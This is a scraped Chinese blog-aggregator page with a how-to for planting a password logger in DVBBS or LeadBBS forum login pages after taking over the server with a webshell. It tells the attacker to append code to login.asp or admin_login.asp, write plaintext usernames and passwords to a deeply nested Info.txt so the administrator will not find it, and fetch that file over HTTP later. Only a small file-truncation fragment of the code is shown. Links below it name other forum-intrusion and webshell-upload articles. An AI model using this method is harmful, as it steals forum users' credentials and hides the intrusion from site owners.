用asp记录论坛用户密码(dvbbs,leadbbs等)
来源:互联网 发布:拳王阿里知乎 编辑:程序博客网 时间:2024/05/16 17:26
很多人在得到动网的数据库后郁闷不已
(呀的,管理员的变态密码让我们的机器跑砸了都没辙)
Now We Have Another Method!!!!!
这就是用asp记录明文密码。
用法:1.将此代码插入login.asp或admin_login.asp等等验证登陆的文件末尾即可。
2.将PATH换成web下可访问的路径,如:C:/Inetpub/wwwroot/.../Info.txt(info.txt的路径越深越好,防止admin发现)
3.你的webshell必须有权限修改文件且FileSystemObject可用。
4.一段时间后在IE上访问:http://.../Info.txt就 可以看到登录过的用户的帐号密码。
5.在IE上输http://.../(which your modified).asp?u=del可一清楚info.txt的内容。
注意:1.你可以为它添加其他功能,例如:已记录的用户不再重复记录,用邮件接收密码等等。
2.为了防止info.txt过大,我用清空info.txt的方法。
当然你可以新建文件来解决此问题。
if filesize>200000 then
set file2=fso.OpenTextFile(PATH,2,True)
file2.WriteLine ""
file2.close
end if
- 用asp记录论坛用户密码(dvbbs,leadbbs等)
- 动网论坛(DVBBS)Show.asp页面过滤不严导致跨站漏洞
- DVBBS 7.1 SP1 如何去掉“论坛通行证”
- 入侵dvbbs论坛后获取全部人密码另一法!
- 动网dvbbs 8论坛首页广告的设置方法
- 利用动网论坛dvBBS漏洞上传webshell
- 用ASP实现更改NT用户密码
- 用ASP技术编制隐藏用户密码程序
- discuz论坛用户密码加密原理
- drupal记录用户密码
- sys.user$ 记录用户密码
- 修改admin_index.asp得到明文DVBBS后台密码
- 用asp.net写的论坛程序--论坛主页
- 用asp.net写的论坛程序--论坛主页
- dz论坛修改用户信息-dz第三方修改论坛用户密码
- mysql查看用户密码、权限等
- 用asp.net写的论坛程序
- 用ASP实现论坛的UBB功能
- 时间就像流水 转眼之间又开学了
- IntelliJ IDEA使用技巧一览表(转)
- 做人做事箴言录(2)
- 扶不起的柯达:搞啥子垄断嘛
- 只需一分钟,UC密码轻松告破
- 用asp记录论坛用户密码(dvbbs,leadbbs等)
- phpBB 2.0.13 Path Disclosure And Remote php File Include
- 很久没写BLOG了
- 悬而未决:如何用MAPI和CDONTS来发邮件
- 三国人物四大理想
- Java 客户端调用HttS Webservice....
- Windows完成端口编程
- 购房
- .net开发软件结构之我见一